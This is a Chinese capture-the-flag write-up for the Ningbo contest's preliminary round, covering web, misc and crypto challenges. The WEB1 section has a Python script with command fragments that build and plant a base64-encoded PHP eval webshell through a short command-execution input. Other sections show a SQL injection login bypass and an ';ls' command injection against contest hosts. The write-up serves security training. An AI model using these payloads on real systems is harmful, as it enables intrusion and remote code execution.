第四届宁波赛初赛赛题 wp

本文介绍了一系列针对不同场景的渗透测试技巧,包括利用Python脚本进行攻击尝试、通过MD5截断值逆向寻找原始数据、利用命令注入获取敏感信息等。通过对实际案例的解析,读者可以了解如何有效地进行安全测试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web

WEB1

打开页面发现源代码

119.61.19.212:50070/exec.php
在这里插入图片描述

GET 1必须小于八位

a.py :

\#!/usr/bin/python

\# -*- coding: UTF-8 -*-

import requests

url = "http://119.61.19.217:50070/exec.php?1={0}"

print("[+]start attack!!!")

with open("payload.txt","r") as f:

for i in f:

print("[*]" + url.format(i.strip()))

requests.get(url.format(i.strip()))

\#检查是否攻击成功

test = requests.get("http://119.61.19.217:50070/exec.php")

if test.status_code == requests.codes.ok:

print("[*]Attack success!!!")

 

$$ Payload.txt:

>hp

>1.p\

>d>\

>\ -\

>e64\

>bas\

>7|\

>XSk\

>Fsx\

>dFV\

>kX0\

>bCg\

>XZh\

>AgZ\

>waH\

>PD9\

>o\ \

>ech\

ls -t>0

sh 0 $$

WEB2

访问:view-source:119.61.19.217:50998/index.php~

发现源码:

在这里插入图片描述

然后$pass这块我们要输入和加密md5一样的值, 他们的条件就成立了 就能获得flag了

通过post发送

user: 1’ and 1=2 union select
concat(‘21232f297a57a5a743894a0e4a801fc3’)#

pass : admin

即可拿到flag!

WEB3

在这里插入图片描述

用脚本跑:

import hashlib

from multiprocessing.dummy import Pool as ThreadPool

 

\# MD5截断数值已知 求原始数据

\# 例子 substr(md5(captcha), 0, 6)=60b7ef

 

def md5(s): # 计算MD5字符串

return hashlib.md5(str(s).encode('utf-8')).hexdigest()

 

keymd5 = 'da29f1' #已知的md5截断值

md5start = 0 # 设置题目已知的截断位置

md5length = 6

 

def findmd5(sss): # 输入范围 里面会进行md5测试

key = sss.split(':')

start = int(key[0]) # 开始位置

end = int(key[1]) # 结束位置

result = 0

for i in range(start, end):

\# print(md5(i)[md5start:md5length])

if md5(i)[0:6] == keymd5: # 拿到加密字符串

result = i

print(result) # 打印

break

 

list=[] # 参数列表

for i in range(10): # 多线程的数字列表 开始与结尾

list.append(str(10000000*i) + ':' + str(10000000*(i+1)))

pool = ThreadPool() # 多线程任务

pool.map(findmd5, list) # 函数 与参数列表

pool.close()

pool.join()

 

得到url:119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php在这里插入图片描述

119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1;ls

命令注入,但是好像环境有问题。

通过dirsearch直接扫描得到flag.php

拿到flag

WEB4

Dirsearch 扫描目录得到

view-source:119.61.19.217:51301//.index.php.swp

在这里插入图片描述

只要我们让file_text内容等于config.php的$test666的值就能拿到flag.

view-source:119.61.19.217:51301/index.php?file=config.php

在这里插入图片描述

得到config.php内容

在这里插入图片描述

得到flag

WEB5

在这里插入图片描述

扫描得到1.htaccess

得到

在这里插入图片描述

直接访问:119.61.19.217:50987/ctf_C1n_Fl4G

得到flag

misc

音乐和乐谱

尾部有音乐加密的密钥解密一下

在这里插入图片描述

在这里插入图片描述

彩虹

255,165,0

255,0,0

255,255,0

0,128,0

0,255,255

0,0,255

128,0,128

255165255255255128255255255128128

美丽的小姐姐

直接跑高度,修改就出flag

在这里插入图片描述

在这里插入图片描述

听雨寻知音

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0010 0100 01 0100 1001 100 0001 110 10

…-. .-… .- .-… -…- -… …- --. -.

474FA66E4562828A772BC49CAE52AAD4

11011011101011011001111100010

子曰有云

佛曰解密

U2FsdGVkX19PNzVW96O4NOwIMRlbvcuHUpzSkdInC/086i4qWjwiziuu9rOnZpEFJwX9Qs4G
解 乃斐氏列与斐氏列二之解,加之。

Crypto

RSA

简单的RSA。

直接上工具解

在这里插入图片描述

需要注意的是e不要写成16进制的11就好了,然后到在线md5加密加密下就好了

在这里插入图片描述

nike

直接python2跑一下,发现sorry字样,查看代码发现有个地方改下就好了
在这里插入图片描述

然后得到base64字符串,解密下就得到flag,需要注意的是,有几次加密的md5几个字母会有偏差。
在这里插入图片描述

经过测试这个才是最终flag

简单混合密码

45213
lhoea
PkRSf
{pUO}
gjlna
gSkKR

esOnKoRulkaf}aRlP{gghkpjS

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值